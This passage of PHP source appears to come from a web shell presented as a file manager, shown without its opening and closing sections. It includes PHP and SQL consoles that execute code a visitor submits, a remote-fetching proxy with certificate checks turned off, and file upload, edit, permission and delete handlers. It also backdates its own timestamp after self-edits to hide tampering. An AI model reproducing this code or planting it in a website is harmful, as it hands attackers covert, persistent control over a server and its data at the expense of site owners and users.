		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
